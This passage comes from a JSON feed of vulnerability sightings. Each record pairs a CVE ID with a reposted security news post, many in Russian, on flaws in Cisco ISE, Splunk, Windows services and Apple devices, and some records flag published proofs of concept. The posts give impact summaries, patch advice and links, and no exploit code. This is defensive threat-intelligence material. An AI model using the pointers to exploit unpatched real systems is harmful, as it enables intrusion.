\u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b.\n\n\u2757\ufe0f\u0410\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 TapiSrv \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445\n\n\u2022 \u0415\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0435\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u2022 \u0414\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442.\n\n#PTSWARM \n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:58.134841Z"}, {"uuid": "4f1a6349-88c4-40b9-8171-7c3727a8886b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrjm4vh6jp2j", "content": "Daily IT Security Digest \u2014 2026-07-26\n# Daily IT Security Digest \u2014 2026-07-26\n\n\n\n## 1. Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild\n\n**CVSS: Critical | CVE-2026-20262**", "creation_timestamp": "2026-07-26T05:03:11.776135Z"}, {"uuid": "df09daa7-efb0-4de3-bdc2-ca942834abc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://t.me/cyberwarehouse/1100", "content": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20963", "creation_timestamp": "2026-07-26T07:00:06.511670Z"}, {"uuid": "0d4c949b-7ed8-498d-bba0-7c9b52b447c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/zhatez/2736", "content": "\ud83d\udea8 BrEaKiNg: Splunk, a security product, has zero authentication in its built-in database service and accepts any credentials, according to the security researchers who just dropped a full pre-auth RCE chain for Splunk Enterprise (CVE-2026-20253, CVSS 9.8).\n\nSplunk Enterprise on AWS is vulnerable out of the box.\n\nhttps://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/", "creation_timestamp": "2026-07-26T07:01:46.430776Z"}, {"uuid": "66187850-ef53-419a-9677-7706c73813a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/zhatez/2367", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by researcher Sergey Bliznyuk.\n\nRead the write-up:\n\n\ud83d\udd17 https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/\n\ud83d\udd17 https://habr.com/ru/companies/pt/articles/984934/", "creation_timestamp": "2026-07-26T07:01:47.040121Z"}, {"uuid": "91e5076f-6f9e-4160-9c48-368a93201fbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/1057", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by researcher Sergey Bliznyuk.\n\nRead the write-up:\n\n\ud83d\udd17 https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/\n\ud83d\udd17 https://habr.com/ru/companies/pt/articles/984934/", "creation_timestamp": "2026-07-27T00:00:34.075162Z"}, {"uuid": "367d5ac5-22d3-4ba4-bf61-bfe6a3289a4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/1100", "content": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20963", "creation_timestamp": "2026-07-27T00:00:34.320700Z"}, {"uuid": "fd4d2f78-40ed-4eb2-b60e-13b5bd87ebf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/1107", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-27T00:00:34.417053Z"}, {"uuid": "336171fa-686e-4c3e-a653-2c3991e41a9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/1107", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-27T00:00:34.450686Z"}, {"uuid": "d500d5ff-d090-4fe9-bcec-f7f8a105614a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/1108", "content": "#pentest #cve #exploit\n\nCVE-2026-20817 \u2699\ufe0f\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043e\u0448\u0438\u0431\u043e\u043a Windows Error Reporting Service \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e BDU:2026-00482 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 PoC \u0438 \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.", "creation_timestamp": "2026-07-27T00:00:34.573666Z"}, {"uuid": "3cb7843d-83ef-4e1a-b6c5-cca10d012690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/zhatez/2736", "content": "\ud83d\udea8 BrEaKiNg: Splunk, a security product, has zero authentication in its built-in database service and accepts any credentials, according to the security researchers who just dropped a full pre-auth RCE chain for Splunk Enterprise (CVE-2026-20253, CVSS 9.8).\n\nSplunk Enterprise on AWS is vulnerable out of the box.\n\nhttps://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/", "creation_timestamp": "2026-07-27T00:01:30.807684Z"}, {"uuid": "5d174574-668b-488b-a859-e76b64614dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://t.me/cult_security/1243", "content": "Apple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-20700, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0434\u0432\u0443\u043c\u044f \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f iOS 18.7.5 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f iPhone, iPad \u0438 Mac. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0449\u0443\u0442 \u0434\u0440\u0443\u0433\u0443\u044e. \u0410 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u2014 \u0437\u0430\u0440\u044f\u0434\u043a\u0443 \u0438 Wi-Fi\n\nJoin our club Cult \ud83d\udc41", "creation_timestamp": "2026-07-27T00:01:22.638601Z"}, {"uuid": "3a2db09f-cf9a-4f06-9892-d7aecce50dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e 